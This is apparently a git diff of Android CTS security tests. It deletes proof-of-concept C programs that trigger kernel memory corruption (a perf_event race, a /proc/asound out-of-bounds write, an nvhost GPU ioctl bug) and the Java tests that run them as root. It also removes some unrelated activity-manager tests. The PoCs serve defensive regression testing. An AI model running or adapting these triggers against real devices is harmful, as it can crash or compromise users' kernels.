- setup_privi_and_affinity(0, 1);
- prepare_data();
- pthread_t tid;
- pthread_create(&tid, NULL, race_thread, NULL);
- sleep(1);
- while (1) {
- pthread_cond_signal(&cond);
- usleep(100);
- trigger_ion_alloc();
- sleep(1);
- }
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
deleted file mode 100644
index 4addb61..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0403
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-format -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
deleted file mode 100644
index 51095e7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-//overwrite object+0x20,like a list initilize
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <sys/wait.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-
-
-struct perf_event_attr {
-
- /*
- * Major type: hardware/software/tracepoint/etc.
- */
- __u32 type;
-
- /*
- * Size of the attr structure, for fwd/bwd compat.
- */
- __u32 size;
-
- /*
- * Type specific configuration information.
- */
- __u64 config;
-
- union {
- __u64 sample_period;
- __u64 sample_freq;
- };
-
- __u64 sample_type;
- __u64 read_format;
-
- __u64 disabled : 1, /* off by default */
- inherit : 1, /* children inherit it */
- pinned : 1, /* must always be on PMU */
- exclusive : 1, /* only group on PMU */
- exclude_user : 1, /* don't count user */
- exclude_kernel : 1, /* ditto kernel */
- exclude_hv : 1, /* ditto hypervisor */
- exclude_idle : 1, /* don't count when idle */
- mmap : 1, /* include mmap data */
- comm : 1, /* include comm data */
- freq : 1, /* use freq, not period */
- inherit_stat : 1, /* per task counts */
- enable_on_exec : 1, /* next exec enables */
- task : 1, /* trace fork/exit */
- watermark : 1, /* wakeup_watermark */
- /*
- * precise_ip:
- *
- * 0 - SAMPLE_IP can have arbitrary skid
- * 1 - SAMPLE_IP must have constant skid
- * 2 - SAMPLE_IP requested to have 0 skid
- * 3 - SAMPLE_IP must have 0 skid
- *
- * See also PERF_RECORD_MISC_EXACT_IP
- */
- precise_ip : 2, /* skid constraint */
- mmap_data : 1, /* non-exec mmap data */
- sample_id_all : 1, /* sample_type all events */
-
- exclude_host : 1, /* don't count in host */
- exclude_guest : 1, /* don't count in guest */
-
- exclude_callchain_kernel : 1, /* exclude kernel callchains */
- exclude_callchain_user : 1, /* exclude user callchains */
- constraint_duplicate : 1,
-
- __reserved_1 : 40;
-
- union {
- __u32 wakeup_events; /* wakeup every n events */
- __u32 wakeup_watermark; /* bytes before wakeup */
- };
-
- __u32 bp_type;
- union {
- __u64 bp_addr;
- __u64 config1; /* extension of config */
- };
- union {
- __u64 bp_len;
- __u64 config2; /* extension of config1 */
- };
- __u64 branch_sample_type; /* enum perf_branch_sample_type */
-
- /*
- * Defines set of user regs to dump on samples.
- * See asm/perf_regs.h for details.
- */
- __u64 sample_regs_user;
-
- /*
- * Defines size of the user stack to dump on samples.
- */
- __u32 sample_stack_user;
-
- /* Align to u64. */
- __u32 __reserved_2;
-};
-
-
-#define PAIR_FD 1
-
-int group_fd[PAIR_FD],child_fd[PAIR_FD];
-
-long created = 0;
-long freed = 0;
-long finished = 0;
-
-void *thr(void *arg) {
- printf("id=%d arg=%d\n",gettid(),arg);
-
- int i;
- struct perf_event_attr attr;
-
- switch ((long)arg) {
- case 0:
- //#16123
- printf("thread 0\n");
- memset(&attr,0,sizeof(struct perf_event_attr));
- attr.type = 1;
- attr.size = sizeof(struct perf_event_attr);
- attr.config = 1;
-
- group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
- -1, 0x1ul, 0);
-
- if(group_fd[0]<0){
- perror("perf-group:");
- }
-
-
- memset(&attr,0,sizeof(struct perf_event_attr));
- attr.type = 1;
- attr.size = sizeof(struct perf_event_attr);
- attr.config = 5;
-
- child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
-
- if(group_fd[0]<0){
- perror("perf-child:");
- }
-
- created = 1;
- break;
- case 1:
-
- while(!created){
- sleep(1);
- }
-
- printf("thread 1\n");
- close(group_fd[0]);
-
- freed = 1;
-
- break;
- case 2:
-
- printf("thread 2\n");
-
- while(!freed){
- sleep(1);
- }
-
- close(child_fd[0]);
-
- finished = 1;
-
- break;
-
- }
- return 0;
-}
-
-int poc() {
- long i;
- pthread_t th[5];
- for (i = 0; i < 3; i++) {
- pthread_create(&th[i], 0, thr, (void *)i);
- usleep(10000);
- }
-
- while(!finished){
- sleep(1);
- }
-
- return 0;
-}
-
-
-int main(int argc, char const *argv[])
-{
- int pid;
- unsigned int times;
- times = 0;
- printf("POC3\n");
- printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
- fflush(stdout);
-
- // while(1){
- pid = fork();
- if(pid){
- int status;
- int ret = waitpid(pid,&status,0);
-
- printf("[%d]times.\r",times);
- times++;
- }else
- return poc();
- // }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
deleted file mode 100644
index 47c4c71..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0404
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-constant-conversion
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
deleted file mode 100644
index 54821ef..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/prctl.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <pthread.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <semaphore.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <sys/utsname.h>
-#include <sys/ptrace.h>
-
-char buf[4096];
-
-int main(int argc, char const *argv[]){
- memset(buf, 0xa0, sizeof(buf));
-
- int fd = open("/proc/asound/version", O_RDWR);
- if(fd != -1){
- lseek(fd, 0x1234567800000000, SEEK_SET);
- write(fd, buf, sizeof(buf));
- }else{
- perror("open error\n");
- }
- close(fd);
- return 0;
-}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
deleted file mode 100644
index ec6d5bf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0429
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
deleted file mode 100644
index 4ef1b3e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define NVMAP_IOC_MAGIC 'N'
-struct nvmap_create_handle {
- union {
- __u32 id; /* FromId */
- __u32 size; /* CreateHandle */
- __s32 fd; /* DmaBufFd or FromFd */
- };
- __u32 handle; /* returns nvmap handle */
-};
-#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-
-struct nvmap_alloc_handle {
- __u32 handle; /* nvmap handle */
- __u32 heap_mask; /* heaps to allocate from */
- __u32 flags; /* wb/wc/uc/iwb etc. */
- __u32 align; /* min alignment necessary */
-};
-#define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- return ret;
-}
-
-#define SZ_128K 0x00020000
-#define NVHOST_AS_IOCTL_MAGIC 'A'
-struct nvhost_as_bind_channel_args {
- __u32 channel_fd; /* in */
-} __packed;
-#define NVHOST_AS_IOCTL_BIND_CHANNEL \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
-
-struct nvhost_as_free_space_args {
- __u64 offset; /* in, byte address */
- __u32 pages; /* in, pages */
- __u32 page_size; /* in, bytes */
-};
-#define NVHOST_AS_IOCTL_FREE_SPACE \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
-
-#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
-struct nvhost_as_alloc_space_args {
- __u32 pages; /* in, pages */
- __u32 page_size; /* in, bytes */
- __u32 flags; /* in */
- __u32 padding; /* in */
- union {
- __u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
- __u64 align; /* in, alignment multiple (0:={1 or n/a}) */
- } o_a;
-};
-#define NVHOST_AS_IOCTL_ALLOC_SPACE \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
-
-#define CLOSE_THREAD_NUM 1
-#define TRY_TIMES 2
-#define NVMAPDEV "/dev/nvmap"
-#define GPUDEV "/dev/nvhost-gpu"
-#define ASDEV "/dev/nvhost-as-gpu"
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-int nvmap, gpu, asgpu;
-volatile int attack;
-
-int main(void)
-{
- int i, j, ret;
- int dma1, dma2;
- struct nvmap_create_handle args = {
- .size = PAGE_SIZE
- };
- struct nvhost_as_bind_channel_args as_bind = { 0 };
- struct nvhost_as_alloc_space_args alloc = {
- .pages = 1,
- .page_size = SZ_128K,
- .flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
- };
- struct nvhost_as_free_space_args free_arg = {
- .pages = 1,
- .page_size = SZ_128K
- };
-
- /* bind_cpu */
- set_affinity(0);
-
- nvmap = open(NVMAPDEV, O_RDONLY);
- if(nvmap == -1) {
- ERR("[-] open %s failed", NVMAPDEV);
- goto __cleanup;
- }
- gpu = open(GPUDEV, O_RDONLY);
- if(gpu == -1) {
- ERR("[-] open %s failed", GPUDEV);
- goto __cleanup;
- }
- asgpu = open(ASDEV, O_RDONLY);
- if(asgpu == -1) {
- ERR("[-] open %s failed", ASDEV);
- goto __cleanup;
- }
- // bind the channel
- as_bind.channel_fd = gpu;
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
- if(ret == -1) {
- ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
- goto __cleanup;
- } else {
- //LOG("[+] ioctl OK, channel is bond");
- }
-
- #if 1
- // prepare
- ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
- if(ret) {
- ERR("[-] NVMAP_IOC_CREATE failed");
- goto __cleanup;
- }
- #endif
-
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
- if(ret) {
- ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
- goto __cleanup;
- }
- free_arg.offset = alloc.o_a.offset;
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
- if(ret) {
- ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
- goto __cleanup;
- }
-
-__cleanup:
- close(nvmap);
- close(gpu);
- close(asgpu);
- return 0;
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
index 7e24e8f..1592182 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -139,73 +139,6 @@
}
/**
- * b/32700935
- */
- @SecurityTest
- public void testPocCVE_2016_8435() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
- }
- }
-
- /**
- * b/31568617
- */
- @SecurityTest
- public void testPocCVE_2016_9120() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/ion")) {
- AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
- }
- }
-
- //Highs
- /**
- * b/31225246
- */
- @SecurityTest
- public void testPocCVE_2016_8412() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
- AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
- }
- }
-
- /**
- * b/31243641
- */
- @SecurityTest
- public void testPocCVE_2016_8444() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
- AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
- }
- }
-
- /**
- * b/31791148
- */
- @SecurityTest
- public void testPocCVE_2016_8448() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
- AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
- }
- }
-
- /**
- * b/31798848
- */
- @SecurityTest
- public void testPocCVE_2016_8449() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
- AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
- }
- }
-
- /**
* b/31668540
*/
@SecurityTest
@@ -217,37 +150,6 @@
}
/**
- * b/32402548
- */
- @SecurityTest
- public void testPocCVE_2017_0403() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
- }
-
- /**
- * b/32510733
- */
- @SecurityTest
- public void testPocCVE_2017_0404() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/proc/asound/version")) {
- AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
- }
- }
-
- /**
- * b/32178033
- */
- @SecurityTest
- public void testPocCVE_2016_8451() throws Exception {
- enableAdbRoot(getDevice());
- String command =
- "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
- AdbUtils.runCommandLine(command, getDevice());
- }
-
- /**
* b/32659848
*/
@SecurityTest
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
index 18bfb16..4fd98b7 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -30,47 +30,4 @@
AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
}
}
-
- /**
- * b/32636619
- */
- @SecurityTest
- public void testPocCVE_2017_0429() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
- }
- }
-
- /**
- * b/32219121
- */
- @SecurityTest
- public void testPocCVE_2016_8455() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8455", getDevice(), 60);
- }
-
- /**
- * b/32219255
- */
- @SecurityTest
- public void testPocCVE_2016_8456() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8456", getDevice(), 60);
- // CTS begins the next test before device finishes rebooting,
- // sleep to allow time for device to reboot.
- Thread.sleep(60000);
- }
-
- /**
- * b/32219453
- */
- @SecurityTest
- public void testPocCVE_2016_8457() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8457", getDevice(), 60);
- // Device takes up to 60 seconds to crash after PoC run.
- Thread.sleep(60000);
- }
- }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/Android.mk
deleted file mode 100644
index 178cb8a..0000000
--- a/hostsidetests/services/activityandwindowmanager/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java
deleted file mode 100644
index d64b930..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.BroadcastReceiver;
-import android.os.Bundle;
-
-/**
- * This activity finishes when you send a broadcast with the following action from adb shell
- * am broadcast -a 'android.server.cts.FinishableActivity.finish'
- */
-public class FinishableActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = FinishableActivity.class.getSimpleName();
- private static final String ACTION_FINISH = "android.server.cts.FinishableActivity.finish";
-
- private BroadcastReceiver mReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent != null && intent.getAction().equals(ACTION_FINISH)) {
- finish();
- }
- }
- };
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- IntentFilter intentFilter = new IntentFilter(ACTION_FINISH);
- registerReceiver(mReceiver, intentFilter);
- }
-
- @Override
- protected void onDestroy() {
- unregisterReceiver(mReceiver);
- super.onDestroy();
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
deleted file mode 100644
index 1e8c5a1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-import static android.server.cts.StateLogger.logE;
-
-/**
- * Display tests that require a locked keyguard.
- *
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayLockedKeyguardTests
- */
-public class ActivityManagerDisplayLockedKeyguardTests extends ActivityManagerDisplayTestBase {
-
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- setLockCredential();
- }
-
- @Override
- protected void tearDown() throws Exception {
- try {
- tearDownLockCredentials();
- } catch (DeviceNotAvailableException e) {
- logE(e.getMessage());
- }
- super.tearDown();
- }
-
- /**
- * Test that virtual display content is hidden when device is locked.
- */
- public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
- if (!supportsMultiDisplay() || !isHandheld()) { return; }
-
- // Create new usual virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
-
- // Lock the device.
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false /* visible */);
-
- // Unlock and check if visibility is back.
- unlockDeviceWithCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
deleted file mode 100644
index cf3540c..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ /dev/null
@@ -1,608 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDockedStackTests
- */
-public class ActivityManagerDockedStackTests extends ActivityManagerTestBase {
-
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String FINISHABLE_ACTIVITY_NAME = "FinishableActivity";
- private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
- private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
- private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
- private static final String SINGLE_INSTANCE_ACTIVITY_NAME = "SingleInstanceActivity";
- private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
-
- private static final int TASK_SIZE = 600;
- private static final int STACK_SIZE = 300;
-
- public void testMinimumDeviceSize() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- mAmWmState.assertDeviceDefaultDisplaySize(mDevice,
- "Devices supporting multi-window must be larger than the default minimum"
- + " task size");
- }
-
- public void testStackList() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivity(TEST_ACTIVITY_NAME);
